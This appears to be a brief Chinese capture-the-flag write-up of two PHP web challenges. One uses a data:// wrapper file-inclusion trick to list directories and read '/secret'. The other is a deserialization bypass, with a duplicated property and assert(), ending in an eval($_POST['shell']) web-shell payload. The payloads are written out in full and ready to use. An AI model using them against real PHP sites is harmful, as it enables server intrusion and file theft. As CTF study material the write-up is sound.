传入file,检查file后缀是不是php,是就包含
用data伪协议
file=data:text/plain,<?=system(%27ls%27);?>.php
发现system()被禁用
glob看下文件
file=data:text/plain,<?php print_r(glob('/*'));?>.php
file=data:text/plain,<?php print_r(file('/secret'));?>.php
<?php error_reporting(0); $safe="Hack me!"; class Hacker{ public $name="var_dump"; public $msg="Happy to cjb"; public function __wakeup() { global $safe; if(preg_match('/\d|\/|,|\([^()]*\([^()]*\)/',$this->msg)){ $this->name="var_dump"; $this->msg="You look dangerous!!!"; $safe="I think waf is enough."; } call_user_func($this->name,$this->msg); } public function __destruct() { global $safe; var_dump($safe); } } if(isset($_POST['info'])){ $info=$_POST['info']; if(preg_match('/s:4:"name";s:\d:"v\w*"/',$info)){ unserialize($info); }else{ echo "I just love v"; } }else{ $hacker=new Hacker(); highlight_file(__FILE__); } string(8) "Hack me!"
看上去是反序列化,还有两个正则表达式
最终是传入参数,执行这个
call_user_func($this->name,$this->msg);
尝试序列化
发现第二个,对name变量限定开头第一个字母是v
这里可以再加一个变量绕过,序列化结果变量数也要加1
O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:10:"phpinfo();";}
构造
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST['shell']);";}
即可拿到shell